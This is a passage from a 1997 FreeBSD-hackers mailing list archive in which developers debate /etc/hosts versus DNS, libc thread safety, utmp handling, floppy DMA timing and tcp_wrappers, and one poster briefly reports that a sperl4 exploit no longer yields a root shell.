ppp-down to point >> at a different name server. > >If you have a name server, you don't need resolv.conf. How else am I going to tell my machine what name servers to use? >> You know exactly what "lookup file bind" does, and it does exactly >> what you want in this situation. > >It keeps your host names consistent across the local net? So does sup, rdist, rcp in a cron job, etc etc etc. Those are also easier to set up. Plus, how often does my network change that radically? Once in 4 years. Plus, of my machines, only three are up all the time. One is my Windows box, one is an unix box, the third is my X terminal. Actually, four: my Amiga finally works again so it will be doing stuff as well. How difficult is it to syncronize /etc/hosts across that many machines? > It caches >name server lookups across your slow Internet connection? Check my headers. I do most of my stuff on the Internet via my 486 running (yah, I know) Windows 95. It has it's own (internal) modem. Do you know how difficult it is to get Windows to switch name servers? What a pain! I also dialup via my other box and run sup, fetchmail (on an alternate email account), etc. It has an /etc/hosts file for the apartment, and nameservers at Mindspring for the Internet. Dude, we're looking at even more complexity when what I have works fine. I don't have time for adding complexity to my system when it works just fine now. >named is your friend. It may be your friend, but it's way overkill for what I do. -- XCOMM Kevin P. Neal, Junior, Comp. Sci. - House of Retrocomputing XCOMM mailto:kpneal@pobox.com - http://www.pobox.com/~kpn/ XCOMM kpneal@eos.ncsu.edu Spoken by Keir Finlow-Bates: XCOMM "Good grief, I've just noticed I've typed in a rant. Sorry chaps!" From owner-freebsd-hackers Sun Sep 14 23:17:19 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA03583 for hackers-outgoing; Sun, 14 Sep 1997 23:17:19 -0700 (PDT) Received: from echonyc.com (echonyc.com [198.67.15.2]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id XAA03578 for ; Sun, 14 Sep 1997 23:17:17 -0700 (PDT) Received: from localhost (benedict@localhost) by echonyc.com (8.8.7/8.8.7) with SMTP id CAA27502; Mon, 15 Sep 1997 02:17:09 -0400 (EDT) Date: Mon, 15 Sep 1997 02:17:09 -0400 (EDT) From: Snob Art Genre To: Existence is Futile cc: freebsd-hackers@FreeBSD.ORG Subject: Re: Why SPERL? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk I was the one who asked this before, and the reason sperl4 is still included is that the hole has been closed. Just to make sure, I downloaded your exploit and ran it on my own machine. It seg-faulted. No root shell. Ben "You have your mind on computers, it seems." From owner-freebsd-hackers Sun Sep 14 23:17:33 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA03622 for hackers-outgoing; Sun, 14 Sep 1997 23:17:33 -0700 (PDT) Received: from freebie.lemis.com (gregl1.lnk.telstra.net [139.130.136.133]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id XAA03609 for ; Sun, 14 Sep 1997 23:17:28 -0700 (PDT) Received: (from grog@localhost) by freebie.lemis.com (8.8.7/8.8.5) id PAA06462; Mon, 15 Sep 1997 15:47:04 +0930 (CST) Message-ID: <19970915154704.16731@lemis.com> Date: Mon, 15 Sep 1997 15:47:04 +0930 From: Greg Lehey To: sthaug@nethelp.no Cc: kpneal@pobox.com, hackers@FreeBSD.ORG Subject: Re: Why not DNS (was: nfs startup - perhaps it is a problem) References: <19970915140722.43631@lemis.com> <23807.874303967@verdi.nethelp.no> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.81e In-Reply-To: <23807.874303967@verdi.nethelp.no>; from sthaug@nethelp.no on Mon, Sep 15, 1997 at 08:12:47AM +0200 Organisation: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8250 Fax: +61-8-8388-8250 Mobile: +61-41-739-7062 WWW-Home-Page: http://www.lemis.com/~grog Fight-Spam-Now: http://www.cauce.org Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Mon, Sep 15, 1997 at 08:12:47AM +0200, sthaug@nethelp.no wrote: >> If you have a name server, you don't need resolv.conf. >> >>> You know exactly what "lookup file bind" does, and it does exactly >>> what you want in this situation. >> >> It keeps your host names consistent across the local net? It caches >> name server lookups across your slow Internet connection? >> >> named is your friend. > > Agreed. But I have a lease line connection to the Internet, I run my > own name server, I have a *lot* of experience running name servers, > and I *still* find it extremely convenient to have /etc/hosts lookups > available. Please don't remove it. Don't worry, I don't have the least intention (nor the authority) to remove it. > My main reasons for using lookups in 'hosts then bind' order are: > > - Convenience for temporary updates. Sometimes I want to add a name > quickly, use it a little bit, and then remove it again. And there is > no reason why these names should be available on the Internet. It's > quicker to edit /etc/hosts than to edit two zone files and rehup > named. Why two zone files? Do you want reverse lookup for the temps as well? But I really don't see much difference in the time. I regularly do this with DNS. > - Assigning names to hosts in other parts of the Internet which are > not in DNS. These names will of course only be available locally, but > that's all I need. That works with DNS as well. I have a nickname for hub.FreeBSD.org on the local system. > - Likewise, it is sometimes convenient to *override* the names of > hosts which are already in the DNS but not under my control. Hmmm. Can you explain what you mean here? Do you mean that you want to remove all trace of the name? You can't do that and run any kind of DNS, including remote nameds via resolv.conf. > As far as I know, all modern Unixes have the possibility of using > several different methods for host name lookups. I see no reason why > such useful functionality which is already in FreeBSD should be > removed. As I said before, this wasn't the issue. Don't worry. Greg From owner-freebsd-hackers Sun Sep 14 23:23:13 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA03903 for hackers-outgoing; Sun, 14 Sep 1997 23:23:13 -0700 (PDT) Received: from usr04.primenet.com (tlambert@usr04.primenet.com [206.165.6.204]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id XAA03898 for ; Sun, 14 Sep 1997 23:23:11 -0700 (PDT) Received: (from tlambert@localhost) by usr04.primenet.com (8.8.5/8.8.5) id XAA14978; Sun, 14 Sep 1997 23:23:04 -0700 (MST) From: Terry Lambert Message-Id: <199709150623.XAA14978@usr04.primenet.com> Subject: Re: Memory leak in getservbyXXX? To: hoek@hwcn.org Date: Mon, 15 Sep 1997 06:23:04 +0000 (GMT) Cc: karpen@ocean.campus.luth.se, tlambert@primenet.com, hackers@FreeBSD.ORG In-Reply-To: from "Tim Vanderhoek" at Sep 15, 97 00:23:09 am X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > I think he meant, > > "wouldn't it be nice if I could do" > > signal_handler () { > ... > pcopy = not_static_copy ("string", > global_buffer_i_happen_to_keep_always_lying_around_especially_\ > for_use_in_my_signal_handlers); > ... > } > > Or maybe he meant, > > "wouldn't it be nice if I could do" > > printf ("%s%s", unstatic ("ab", buf1), unstatic ("bb", buf2)); > > Of course, if I happen to pass NULL as the buffer, then it will > use its own static buffer. That's a nice compromise, actually. The only problem is that static buffers are intrinsically sized. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Sun Sep 14 23:30:14 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA04247 for hackers-outgoing; Sun, 14 Sep 1997 23:30:14 -0700 (PDT) Received: from usr04.primenet.com (tlambert@usr04.primenet.com [206.165.6.204]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id XAA04242 for ; Sun, 14 Sep 1997 23:30:11 -0700 (PDT) Received: (from tlambert@localhost) by usr04.primenet.com (8.8.5/8.8.5) id XAA15164; Sun, 14 Sep 1997 23:29:56 -0700 (MST) From: Terry Lambert Message-Id: <199709150629.XAA15164@usr04.primenet.com> Subject: Re: Here's an interesting bug in our utmp handling. To: grog@lemis.com (Greg Lehey) Date: Mon, 15 Sep 1997 06:29:56 +0000 (GMT) Cc: tlambert@primenet.com, brian@awfulhak.org, jkh@time.cdrom.com, hackers@FreeBSD.ORG In-Reply-To: <19970915122720.11107@lemis.com> from "Greg Lehey" at Sep 15, 97 12:27:20 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > In exec, revoke the tty to kill off all the other processes, if > > it's /bin/login, while keeping the tty for the process exec'ing > > so it doesn't hang up. > > Hmm. What if the old user had left some things running in the > background? Then the won't mind having their tty revoked, because they're in the background. 8-). Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Sun Sep 14 23:34:15 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA04627 for hackers-outgoing; Sun, 14 Sep 1997 23:34:15 -0700 (PDT) Received: from usr04.primenet.com (tlambert@usr04.primenet.com [206.165.6.204]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id XAA04622 for ; Sun, 14 Sep 1997 23:34:12 -0700 (PDT) Received: (from tlambert@localhost) by usr04.primenet.com (8.8.5/8.8.5) id XAA15412; Sun, 14 Sep 1997 23:33:57 -0700 (MST) From: Terry Lambert Message-Id: <199709150633.XAA15412@usr04.primenet.com> Subject: Re: Here's an interesting bug in our utmp handling. To: grog@lemis.com (Greg Lehey) Date: Mon, 15 Sep 1997 06:33:57 +0000 (GMT) Cc: sef@Kithrup.COM, hackers@FreeBSD.ORG In-Reply-To: <19970915123230.44332@lemis.com> from "Greg Lehey" at Sep 15, 97 12:32:30 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > >> I don't understand why login should ever be called interactively. We > >> have su for that. > > > > That's funny, I thought Jordan demonstrated a wonderful reason why it may be > > desirable to run it interactively. > > Then I missed it (and I've deleted the message). What does it do that > su doesn't? 1) Changes your utmp/wtmp entries so there's a real accounting record for the new session that is not counted against the old for time online. 2) Modifies the TERM environment variable. 8-). Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Sun Sep 14 23:41:45 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA05241 for hackers-outgoing; Sun, 14 Sep 1997 23:41:45 -0700 (PDT) Received: from verdi.nethelp.no (verdi.nethelp.no [195.1.171.130]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id XAA05219 for ; Sun, 14 Sep 1997 23:41:39 -0700 (PDT) From: sthaug@nethelp.no Received: (qmail 23932 invoked by uid 1001); 15 Sep 1997 06:41:35 +0000 (GMT) To: grog@lemis.com Cc: kpneal@pobox.com, hackers@FreeBSD.ORG Subject: Re: Why not DNS (was: nfs startup - perhaps it is a problem) In-Reply-To: Your message of "Mon, 15 Sep 1997 15:47:04 +0930" References: <19970915154704.16731@lemis.com> X-Mailer: Mew version 1.05+ on Emacs 19.28.2 Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Date: Mon, 15 Sep 1997 08:41:34 +0200 Message-ID: <23930.874305694@verdi.nethelp.no> Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > - Convenience for temporary updates. Sometimes I want to add a name > > quickly, use it a little bit, and then remove it again. And there is > > no reason why these names should be available on the Internet. It's > > quicker to edit /etc/hosts than to edit two zone files and rehup > > named. > > Why two zone files? Do you want reverse lookup for the temps as well? > But I really don't see much difference in the time. I regularly do > this with DNS. Yes, two zone files to get the reverse lookup also. > > - Assigning names to hosts in other parts of the Internet which are > > not in DNS. These names will of course only be available locally, but > > that's all I need. > > That works with DNS as well. I have a nickname for hub.FreeBSD.org on > the local system. But it doesn't work for reverse lookups. > > - Likewise, it is sometimes convenient to *override* the names of > > hosts which are already in the DNS but not under my control. > > Hmmm. Can you explain what you mean here? Do you mean that you want > to remove all trace of the name? You can't do that and run any kind > of DNS, including remote nameds via resolv.conf. I mean that sometimes I find it convenient to assign a different name to a host already in the DNS (and not under my control). This could be because the information in the DNS is *incorrect*, or for several other reasons. If I use /etc/hosts override, I can control this - both in the forward and the reverse direction. Steinar Haug, Nethelp consulting, sthaug@nethelp.no From owner-freebsd-hackers Sun Sep 14 23:50:33 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA05796 for hackers-outgoing; Sun, 14 Sep 1997 23:50:33 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id XAA05790 for ; Sun, 14 Sep 1997 23:50:30 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id IAA19184 for hackers@FreeBSD.ORG; Mon, 15 Sep 1997 08:50:29 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.7/8.8.5) id IAA04637; Mon, 15 Sep 1997 08:30:00 +0200 (MET DST) Message-ID: <19970915082959.QR50985@uriah.heep.sax.de> Date: Mon, 15 Sep 1997 08:29:59 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: hackers@FreeBSD.ORG Subject: Re: Do *you* have problems with floppies? References: <19970914142654.GG28248@uriah.heep.sax.de> <199709142144.OAA22143@usr09.primenet.com> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <199709142144.OAA22143@usr09.primenet.com>; from Terry Lambert on Sep 14, 1997 21:44:33 +0000 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Terry Lambert wrote: > Actually, I'm a bit fearful: what happens to a motherboard DMA, as > in the floppy transfers, during an Interrupt? Nothing. Interrupts are a matter of the CPU, but the CPU doesn't own the bus while the DMA transfer happens. Of course, the CPU own the bus between the transfers. ;-) (There's just one byte of DMA transfer each several microseconds.) > During a controller > initiated bus master DMA? Bus master DMAs prioritize as other DMAs. The AHA1540 series was known to sometimes hog the bus for too long, causing DMA overrun errors in the floppy controller. That's why we retry DMA overruns forever. I haven't heard any complaint for newer controllers. Of course, floppy tapes suffer way more from this. > Actually... 0x42 READ TRACK does not check the sector number stored in > the ID field. This could be a curse as well as a blessing; I don't > know how it could deal with interleaved data. You apparently don't know much about this command at all. :-) Trust me, i've been using it once (in CP/M), it's only useful as a debugging tool, nothing else. > > For filesystem operation, it can indeed be a win. > > Yes. But you're right that it's not a good enough reason to do it. > My reasoning was to take the timing issue out of the scheduler and > interrupt processing in the OS, and give them over to the floppy > controller in the hopes that it would resolve the problems people > are seeing. Btw., Tor Egge meanwhile confirmed that his motherboard/chipset is broken. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Sun Sep 14 23:50:37 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA05819 for hackers-outgoing; Sun, 14 Sep 1997 23:50:37 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id XAA05803 for ; Sun, 14 Sep 1997 23:50:34 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id IAA19186 for freebsd-hackers@FreeBSD.ORG; Mon, 15 Sep 1997 08:50:32 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.7/8.8.5) id IAA04665; Mon, 15 Sep 1997 08:43:14 +0200 (MET DST) Message-ID: <19970915084314.IA03797@uriah.heep.sax.de> Date: Mon, 15 Sep 1997 08:43:14 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: freebsd-hackers@FreeBSD.ORG Subject: Re: Resolver broken? [Was:nfs startup - perhaps it is a problem] References: <199709142148.OAA22603@usr09.primenet.com> <199709150141.CAA26286@awfulhak.demon.co.uk> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <199709150141.CAA26286@awfulhak.demon.co.uk>; from Brian Somers on Sep 15, 1997 02:41:19 +0100 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Brian Somers wrote: > Does it help if you put entries with trailing dots in /etc/hosts ? > > 10.0.0.1 my.machine my > 10.0.0.1 my.machine. my. I've once noticed that this did indeed help, yes. But in my case it was sendmail that complained it didn't find the onw host. I forgot the details, but i think the /etc/hosts part of the resolver library is broken with this. Ah, yes, i remember: sendmail apparently tries to lookup "${hostname}.", i.e. it calls gethostname(2), and appends a dot to force DNS to not use the search order. The /etc/hosts part of the resolver library cannot handle this unless the host is listed with the trailing dot in /etc/hosts. I think this is a bug, and this part of the resolver library should just remove a trailing dot, to be (bug-)compatible to the DNS part. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Sun Sep 14 23:50:40 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA05840 for hackers-outgoing; Sun, 14 Sep 1997 23:50:40 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id XAA05816 for ; Sun, 14 Sep 1997 23:50:37 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id IAA19187 for freebsd-hackers@FreeBSD.ORG; Mon, 15 Sep 1997 08:50:35 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.7/8.8.5) id IAA04674; Mon, 15 Sep 1997 08:44:37 +0200 (MET DST) Message-ID: <19970915084437.XX17061@uriah.heep.sax.de> Date: Mon, 15 Sep 1997 08:44:37 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: freebsd-hackers@FreeBSD.ORG Subject: Re: Why not DNS (was: nfs startup - perhaps it is a problem) References: <199709142148.OAA22603@usr09.primenet.com> <199709150141.CAA26286@awfulhak.demon.co.uk> <19970915114213.54969@lemis.com> <199709150340.VAA21991@rocky.mt.sri.com> <19970915131259.59073@lemis.com> <199709150351.VAA22054@rocky.mt.sri.com> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <199709150351.VAA22054@rocky.mt.sri.com>; from Nate Williams on Sep 14, 1997 21:51:27 -0600 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Nate Williams wrote: > NTP, AMD, firewall stuff. Heck, the default 'setup' assumes it can resolve > hostnames just to configure your IP address, ... Huh? No, Nate, we've abandoned this long ago. We are using IP numbers there to solve the chicken-and-egg problems. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Sun Sep 14 23:51:08 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA05890 for hackers-outgoing; Sun, 14 Sep 1997 23:51:08 -0700 (PDT) Received: from korin.warman.org.pl (korin.warman.org.pl [148.81.160.10]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id XAA05880 for ; Sun, 14 Sep 1997 23:51:03 -0700 (PDT) Received: from localhost (abial@localhost) by korin.warman.org.pl (8.8.7/8.8.5) with SMTP id IAA17885 for ; Mon, 15 Sep 1997 08:41:57 +0200 (CEST) Date: Mon, 15 Sep 1997 08:41:56 +0200 (CEST) From: Andrzej Bialecki To: freebsd-hackers@FreeBSD.ORG Subject: Re: SGML authoring tools In-Reply-To: <14872.874159210@time.cdrom.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Sat, 13 Sep 1997, Jordan K. Hubbard wrote: > > What do you guys use to edit our sgml-based documentation? (e.g. FAQ and > > I don't know about the others, but I just use emacs. ;) Being far from thinking about point-and-click solutions, I kinda suspected something easier to use... I'll try that, though. Thanks. Andrzej Bialecki ---------------------+--------------------------------------------------------- abial@warman.org.pl | if(halt_per_mth > 0) { fetch("http://www.freebsd.org") } Research & Academic | "Be open-minded, but don't let your brains to fall out." Network in Poland | All of the above (and more) is just my personal opinion. ---------------------+--------------------------------------------------------- From owner-freebsd-hackers Mon Sep 15 00:07:37 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id AAA06837 for hackers-outgoing; Mon, 15 Sep 1997 00:07:37 -0700 (PDT) Received: from usr04.primenet.com (tlambert@usr04.primenet.com [206.165.6.204]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id AAA06830 for ; Mon, 15 Sep 1997 00:07:32 -0700 (PDT) Received: (from tlambert@localhost) by usr04.primenet.com (8.8.5/8.8.5) id AAA16919; Mon, 15 Sep 1997 00:07:28 -0700 (MST) From: Terry Lambert Message-Id: <199709150707.AAA16919@usr04.primenet.com> Subject: Re: Memory leak in getservbyXXX? To: karpen@ocean.campus.luth.se (Mikael Karpberg) Date: Mon, 15 Sep 1997 07:07:28 +0000 (GMT) Cc: tlambert@primenet.com, hackers@FreeBSD.ORG In-Reply-To: <199709150337.FAA01640@ocean.campus.luth.se> from "Mikael Karpberg" at Sep 15, 97 05:37:15 am X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Not freeing the memory you allocate is really Bad. Exceptions ofcourse, > where malloc() is a given. Static buffers in libraries are ugly, true. > But it gives a very nice (simple) interface. And most of all, that's how the > standard looks. And there's not a whole lot we can do about it. The threading interface and the non-threading interface should be the same. On that, I think we agree. But we are now at odds with the standard because of this, since POSIX threading specified the _r functions behavioral differences in like of threading. One possibility is to provide a set of library routines that take a user buffer and fill it in. Provide legacy compatability with inline functions that use static buffers as the argument to the real functions. This immediately buys the functions into being threadsafe as well, since each reference instance will have its own buffer. Alternately, provide a posix.o in the libc.a archive that contains unsafe stub functions. The threading can be done the POSIX way, where space is allocated, used as an argument to the refexive functions, and returned, or it can be done your way, where stub functions allocate thread local storage onces there's such a thing as thread local storage that can be mapped into the same location regardless of address space. In general, except for compatability stub functions, externally exported static or global data does not belong in libraries. > In C++ you > can get the same nice interface, but without static buffers. You simply > return string-class objects, etc, instead of a char * to a static buffer. > But we're not talking C++ interface here. We're talking libc. It's possible to provide dynmaic scoping in C as well. It's just high overhead. Just as it is in C++. Which is one of the reasons the kernel isn't written in C++. But it *is* possible. > And making it > threadsafe in the nicest way possible is, IMO, to do it in an invisible and > yet threadsafe way. That's what I suggested. They do it that way in Solaris, > which I've been using at work, and I think it's a terriffic solution. You > just add "-mt" to CC and it will pick up threadsafe versions of functions, > with no interface change. TADA! Excellent solution. And I don't care HOW > they did it. It's nice. I'd really like to see the same thing in FreeBSD. > If they have a sucky implementation, or my quickly thought up implementation- > suggestion was bad is irrellevant. Implement it better in FreeBSD, then. They use thread attach and detach mechanisms to instance the static data areas, just as uninitialized static and global data is not linked into a program image, it is instanced when the process attaches the library. If you were to provide thread_attach() and thread_detach() methods for each library, and teach dlopen() and dlclose() about them, and then add this code to each library, and then teach crt0 to do a process_attach() and process_detach() (thread0, actually), then maybe you could implement this without splitting the heap along the lines of "thread local storage" and splitting the process memeory map so that thread context switches were as high overhead as Windows 95, NT, or Solaris, all of which do this type of thing instead of keeping a single heap. It'd be a lot of work, and it would tend to make FreeBSD libraries (and dlopen'able shared objects, which must also have them) look a lot like Windows DLL's, but it could be done. And all to: > Just keep the interface, because that is a Good Thing(tm). With respect, ANSI C changed C, and other than me, and a few others (and maybe Dennis Ritchie, until Prentice hall bought him for "The C Programming Language, Second Edition"), no one cared. ANSI had the best of intentions: they changed the language to accommodate considerations that hadn't been there when it was designed... and for better or worse, they added things like ambitious optimizations that caused it so that syntax changes like volatile Could Not Be Ignored, and they added prototypes so that Microsoft Windows programmers didn't have to worry about "near" or "far" when prototypes were in scope for the functions that needed them. Well, friends, POSIX and ANSI didn't consider threading, either, and it's time for another sea-change to occur. This time, it's the standard libraries. And while we're in there, we need to git rid of namespace degradations used to dummy up in-band return values, and all of the other stuff which we now know is nothing but BS, but which has been codified by a standard that controls 8% of the computer market, and in so doing is somehow ennobled, and none dare criticize it. You want crappy compatability functions? Fine. Put them in a compatability module and in header files as inlines. Regards, Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Mon Sep 15 00:15:36 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id AAA07297 for hackers-outgoing; Mon, 15 Sep 1997 00:15:36 -0700 (PDT) Received: from gnostic.cynic.net (gnostic.cynic.net [198.73.220.5]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id AAA07289 for ; Mon, 15 Sep 1997 00:15:32 -0700 (PDT) Received: from localhost ([[UNIX: localhost]]) by gnostic.cynic.net (8.8.5/8.6.12) with SMTP id AAA02841; Mon, 15 Sep 1997 00:15:09 -0700 (PDT) X-Authentication-Warning: gnostic.cynic.net: cjs owned process doing -bs Date: Mon, 15 Sep 1997 00:15:08 -0700 (PDT) From: Curt Sampson X-Sender: cjs@gnostic.cynic.net To: Snob Art Genre cc: spork , hackers@FreeBSD.ORG Subject: Re: Major bogon in tcp_wrappers port. In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Fri, 12 Sep 1997, Snob Art Genre wrote: > Any reason for tcp_wrappers instead of xinetd? Or vice-versa for that > matter? MHO, of course, but: - tcwrappers is smaller, and thus easier to verify the security of - tcpwrappers comes with libwrap, so that programs not spawned from inetd can use the same config file - it's fairly trivial to modify inetd to use libwrap cjs Curt Sampson cjs@portal.ca Info at http://www.portal.ca/ Internet Portal Services, Inc. `And malt does more than Milton can Vancouver, BC (604) 257-9400 To justify God's ways to man.' From owner-freebsd-hackers Mon Sep 15 00:17:38 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id AAA07463 for hackers-outgoing; Mon, 15 Sep 1997 00:17:38 -0700 (PDT) Received: from usr04.primenet.com (tlambert@usr04.primenet.com [206.165.6.204]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id AAA07457 for ; Mon, 15 Sep 1997 00:17:36 -0700 (PDT) Received: (from tlambert@localhost) by usr04.primenet.com (8.8.5/8.8.5) id AAA17163; Mon, 15 Sep 1997 00:17:32 -0700 (MST) From: Terry Lambert Message-Id: <199709150717.AAA17163@usr04.primenet.com> Subject: Re: lib/libF77 and lib/libI77 To: jbryant@tfs.net Date: Mon, 15 Sep 1997 07:17:32 +0000 (GMT) Cc: ksmm@cybercom.net, freebsd-hackers@FreeBSD.ORG In-Reply-To: <199709150417.XAA07961@argus.tfs.net> from "Jim Bryant" at Sep 14, 97 11:17:38 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > The ANSI/ISO standard for C++ specifies a complex number class. And those > > vector class templates can be tacked together to make a matrix, and... > > and of course, i'll use it when the supported code base is large > enough... as far as the number of lines of fortran dealing with this > stuff: "billions and billions"... Yeah, me too. Who wants to rewrite the code for the relativistically invariant two-particle collisions used to do simulations of pair productions, and for which the physics constraints are applied following the collision to test theories. Oh yeah: at the same time you should convert the code for the reduction of the soloution of 12 Feynman-Dyson diagrams to a set of constraint matrices used by the first code you convereted. Good luck writing code to solve Clifford algebras in C; the original FORTRAN code was written from the output of a Reduce calculation. This type of code desn't tend to exist in C or C++ ...at least until after f2c has been run on it. 8-). Even then it ends up being largely unreadable. 8-(. Regards, Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Mon Sep 15 00:20:44 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id AAA07688 for hackers-outgoing; Mon, 15 Sep 1997 00:20:44 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id AAA07676 for ; Mon, 15 Sep 1997 00:20:40 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id JAA19380 for freebsd-hackers@FreeBSD.ORG; Mon, 15 Sep 1997 09:20:39 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.7/8.8.5) id JAA04949; Mon, 15 Sep 1997 09:02:20 +0200 (MET DST) Message-ID: <19970915090216.CL25419@uriah.heep.sax.de> Date: Mon, 15 Sep 1997 09:02:16 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: freebsd-hackers@FreeBSD.ORG Subject: Re: Why SPERL? References: X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: ; from Existence is 